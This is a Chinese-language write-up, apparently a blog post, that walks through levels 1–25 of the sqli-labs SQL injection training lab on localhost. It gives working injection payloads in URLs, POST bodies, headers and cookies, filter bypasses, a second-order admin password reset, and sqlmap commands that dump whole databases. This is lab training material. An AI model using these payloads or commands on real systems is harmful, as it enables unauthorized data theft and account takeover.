sqli-labs writeup

原创

a370793934 于 2019-11-26 17:07:47 发布 276 收藏 3
分类专栏： WriteUp 文章标签： sqli-labs writeup ctf

第1关

union注入 有报错 字符型注入

http://localhost/sqli-labs-master/Less-1/?id=1'

输入?id=1'报错

输入?id=1 and 1=1 正常

输入?id=1 and 1=2 正常 说明非数字型，为字符型，输入结果被两个单引号' '包裹起来

输入?id=1"正常 再次确认确实是单引号包裹

http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+

输入order by 10 --+ 报错

输入order by 4 --+ 报错

输入order by 3 --+ 正常 说明有三列

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+

输入-1' union select 1,2,3 --+ 联合查询确定输出点，-1可以将前面查询结果置空

确定是2，3是输出点

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,user(),database() --+

替换2，3为函数,user(),database()，可查询用户名和当前库名

下面正式开始

爆库：

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

爆表：

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+

爆列：

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="f1ag" --+

爆值：

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(your_flag) from security.f1ag --+

得到flag

flag{SQLInjection_is_Very_Fun_and_Dangerous!}

或者直接用sqlmap跑

查库：

C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/

sqli-labs-master/Less-1/?id=1" --current-db --batch

查表：

C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/

sqli-labs-master/Less-1/?id=1" -D security --tables --batch

查列：

C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/

sqli-labs-master/Less-1/?id=1" -D security -T f1ag --columns --batch

查值：

C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/

sqli-labs-master/Less-1/?id=1" -D security -T f1ag -C your_flag --dump --batch

得到flag：

flag{SQLInjection_is_Very_Fun_and_Dangerous!}

也可以一句命令全爆：

C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/

sqli-labs-master/Less-1/?id=1" --current-db --dump --batch

第**2**关

union注入 有报错 数字型

输入?id=1'报错

输入?id=1"报错

输入?id=1 and 1=1 正常

输入?id=1 and 1=2 错误 说明是数字型注入，两边没有单双引号

构建?id=-1 union select 1,2,database() --+ 手工注入

直接sqlmap跑结果

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/?id=1" --current-db --dump --batch

第3关

union注入 有报错 字符型注入

输入?id=1'根据报错信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1") LIMIT 0,1' at line 1

中间是被一对单引号和括号包裹起来(' ')

构建?id=-1') union select 1,2,database() --+ 手工注入

或直接sqlmap跑结果

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-3/?id=1" --current-db --dump --batch

第4关

union注入 有报错 字符型注入

输入?id=1'正常

输入?id=1"报错

根据提示near '"1"") LIMIT 0,1' at line 1

中间被(" ")包裹起来

构建?id=-1") union select 1,2,database() --+手工注入

或直接sqlmap跑结果

第5关

布尔型盲注 字符型

输入?id=1'报错 根据提示是由' '包裹起来，正确只显示you are in…

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(user())>0 -- # //判断是否为mysql

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ord(mid(user(),1,1))=114 -- # //返回正常说明数据库权限为root

判断为布尔型盲注

用sqlmap跑结果

第6关

布尔型盲注 字符型

与上一题一样差别在被“”包裹

http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and sleep(5)--+ 延时返回 （时间型盲注用）

这里利用了sleep函数，基于时间的盲注。我们可以看到使用sleep函数后网站延迟了5秒说明我们插入的语句被执行了。存在注入。

这里就说说mysql中的sleep函数在注入中的作用，一般在页面说明一点返回都没有，所以语句都无返回的时候就会利用到sleep这个函数来确定我们的语句有没有被执行。一般基于布尔的盲注比基于时间的盲注少见很多。

直接用sqlmap跑

第7关

布尔型盲注 字符型 过滤注释符

1'报错，其他不报错，说明被"包裹，但构建id=1' and 1=1 --+还是报错，id=1' and 1='1 正常

说明本题把注释符号过滤了

http://127.0.0.1/sqli-labs-master/Less-7/?id=1' AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database() AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105 and 1='1 返回正常

又回到布尔型盲注，手工需要一个个猜测字符

直接用sqlmap跑

第8关

布尔型盲注 无报错 字符型

与第7关一样，只是把报错关闭了，不过没有过滤注释符

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database() AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105 -- #

直接sqlmap跑

第9关

时间型盲注 无报错 字符型

输入任何东西都只返回一个页面，无报错，构建?id=1' and sleep(5) --+发现有延时，时间型盲注

http://127.0.0.1/sqli-labs-master/Less-9/?id=3' AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database() AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105 and sleep(5) -- #

直接sqlmap跑

第10关

时间型盲注 无报错 字符型

与第九关一样，包裹符合由'改为"

直接sqlmap跑 （需要提升等级水平 --level 3）

第11关

POST注入 有报错 字符型

输入用户名admin和密码admin登录成功，再次登录用bs工具抓包然后ctrl+R发送到重发器

在uname=处输入admin") order by 3 --+ 报错，输入admin") order by 2 --+正常，证明是两列

构造POST内容：uname=-admin' union select 1, (SELECT+CONCAT(info)+FROM+INFORMATION_SCHEMA.PROCESSLIST) --+&passwd=&submit=Submit

返回查询语句：

Your Password:SELECT username, password FROM users WHERE username='-admin' union select 1, (SELECT CONCAT(info) FROM INFORMATION_SCHEMA.PROCESSLIST) -- ' and password='' LIMIT 0,1

说明是查询的username 和password两列

继续构造post内容查询(与第一关一样)，最后一次查询：

uname=' union select 1, (SELECT+GROUP_CONCAT(your_flag+SEPARATOR+0x3c62723e)+FROM+security.f1ag) --+&passwd=&submit=Submit 发送返回flag

(注意：不要用浏览器构造POST发送，浏览器会转码特殊字符，造成失败)

或者直接用sqlmap跑

python ./sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-11/ --forms --current-db --dump --batch

或者python ./sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-11/ --data="uname=111&passwd=111&submit=Submit --current-db --dump --batch

第12关

POST注入 有报错 字符型

与第十一关一样，字符型改由(" ")包裹

在bs重发器uname=处输入admin") --+登录成功，证明由(" ")包裹

（但在浏览器Username : 框输入admin") --+，因特殊字符被转码登录失败，却发现报错near '") and password=("") LIMIT 0,1' at line 1）

bs构造POST内容

uname=") union select 1,
(SELECT+GROUP_CONCAT(your_flag+SEPARATOR+0x3c62723e)+FROM+security.f1ag) --+&passwd=&submit=Submit

或直接sqlmap跑

第13关

POST注入 布尔型盲注 有报错 字符型

字符型改由(' ')包裹 ,但本次没有显示位置，页面只显示登录成功或失败

在bs重发器uname=处输入admin') --+显示登录成功，证明由(' ')包裹

(但在浏览器Username : 框输入admin') --+，因特殊字符被转码登录失败，却发现报错near ") and password=(") LIMIT 0,1' at line 1)

bs只能构造uname=admin') AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database() AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105 --+&passwd=&submit=Submit 语句，登录成功

手工只能一个个验证字符，很慢

直接sqlmap跑

第14关

POST注入 布尔型盲注 有报错 字符型

与第十三关一样，字符型改由" "包裹 ,没有显示位置，页面只显示登录成功或失败

在bs重发器uname=处输入admin" --+，显示登录成功，证明由" "包裹

（但在浏览器Username : 框输入admin" --+，因特殊字符被转码登录失败，却发现报错near '" and password="" LIMIT 0,1' at line 1）

直接sqlmap跑

第15关

POST注入 布尔型盲注 没有报错

与第十一关一样，字符型改由' '包裹 ，不过没有报错信息，只有登录成功和失败页面

在bs重发器uname=处输入admin' --+显示登录成功，证明由' '包裹

（但在浏览器Username : 框输入admin' --+，显示登录失败，不会报错）

直接用sqlmap跑（需要提升等级水平 --level 3）

（如果速度较慢，为提高速度可以加--threads 10 --technique BET）

第16关

POST注入 布尔型盲注 没有报错

与第十五关一样，字符型改由(" ")包裹 ，没有报错信息，只有登录成功和失败页面

在bs重发器uname=处输入admin") --+显示登录成功，证明由(" ")包裹

直接用sqlmap跑

第17关

POST注入 有报错

看到首页显示的是[PASSWORD RESET]密码重置，输入用户名admin密码admin显示更新密码成功

猜测一下这个页面的sql语句是：update table set password='newpassword' where username = 'name';

用户名输入admin 密码输入' or 1=1 and sleep(5) --+有延时返回，可以时间盲注

直接用sqlmap跑，需要用burp抓包，然后获取整个页面的信息后保存在1.txt文件中，然后

python sqlmap.py -r 1.txt -p passwd --batch --tech E --dbms mysql --current-db --dump

第18关

POST注入 User-Agent注入

成功登录后发现提示Your User Agent is: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0想到User-Agent注入

用bs抓包改User-Agent:' and updatexml(1,concat(0x3a,database()),1)#

成功返回XPATH syntax error: ':security'

将bs抓取的信息保存为1.txt，User-Agent行后加*，直接用sqlmap跑

python sqlmap.py -r 1.txt --dbms mysql --batch --current-db --dump --threads 10

第19关

POST注入 referer注入

成功登录后发现提示Your Referer is: http://127.0.0.1/sqli-labs-master/Less-19/ 想到是referer注入

用bs抓包改referer:

' or updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema="security" limit 0,1)),1)# //获取表名

' or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name="user" limit 0,1)),1)# //获取指定表字段名

将bs抓取的信息保存为1.txt，Referer行后加*，直接用sqlmap跑

python sqlmap.py -r 1.txt --dbms mysql --batch -D security -T f1ag -C your_flag --dump --threads 10

第**20**关

POST注入 cookie注入

打开后显示YOUR COOKIE : uname = admin and expires: Tue 01 Oct 2019 - 09:16:17 猜测是cookie注入

用bs抓包改cookie

uname=-1' union select 1,user(),database()-- # //获取当前用户名和库名

将bs抓取的信息保存为1.txt，cookie行后加*，直接用sqlmap跑

python sqlmap.py -r 1.txt --dbms mysql --batch -D security -T f1ag -C your_flag --dump --threads 10

或者

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-20/ --cookie="uname=admin" --dbms mysql --batch -D security -T f1ag -C your_flag --dump --threads 10 --level 3

第**21**关

POST注入 cookie注入 有加密 字符型

打开发现还是cookie注入，跟上第二十关一样，只不过base64加密了

bs抓包改cookie：

Cookie: uname=LTEnKSB1bmlvbiBzZWxlY3QgMSx1c2VyKCksZGF0YWJhc2UoKS0tICM= //获取当前用户名和库名

（就是Cookie: uname=-1') union select 1,user(),database()-- #的base64加密）

将bs抓取的信息保存为1.txt，cookie行后加*，直接用sqlmap跑，此次需要加--tamper base64encode.py参数

python sqlmap.py -r 1.txt --dbms mysql --batch -D security -T f1ag -C your_flag --dump --threads 10 --tamper base64encode.py

（或者：python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=YWRtaW4%3D" --tamper base64encode.py --dbms mysql --batch -D security -T f1ag -C your_flag --dump --threads 10 --level 3

注意该语句不用txt文件，但运行效率不高，所以建议用上面的txt语句：）

第**22**关

POST注入 cookie注入 有加密 字符型

本关和上一关一样，不过包含字符由(' ')改为" "

bs抓包改cookie：

Cookie: uname=LTEiIHVuaW9uIHNlbGVjdCAxLHVzZXIoKSxkYXRhYmFzZSgpLS0gIw== //获取当前用户名和库名

（就是Cookie: uname=-1" union select 1,user(),database()-- #的base64加密）

将bs抓取的信息保存为1.txt，cookie行后加*，直接用sqlmap跑，还需要加--tamper base64encode.py参数

python sqlmap.py -r 1.txt --dbms mysql --batch -D security -T f1ag -C your_flag --dump --threads 10 --tamper base64encode.py

第23关

union注入 有报错 过滤注释符

本关开始进入高级关

直接使用sqlmap

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-23/?id=1 --current-db --dump --batch

第24关

更改管理密码

利用带有管理员账号的注册用户名，在修改密码的时候达到修改管理员账号密码的效果，，

注册用户名：admin' or '1'='1 密码为 admin

注册成功后，登录进去修改密码，将密码改为 123

更改后即可发现，admin用户的密码也被改成了123，

自行脑补一下，update tables set password='123' where username='admin' or '1'='1'

第25关

union注入 有报错 过滤or和and

该题和第一关一样，界面提示过滤or和and，双写or可绕过oorr

-1' union select 1,2,(SELECT+GROUP_CONCAT(your_flag+SEPARATOORR+0x3c62723e)+FROM+security.f1ag)--+

或者sqlmap跑，在tamper目录增加脚本绕过

第26关

待续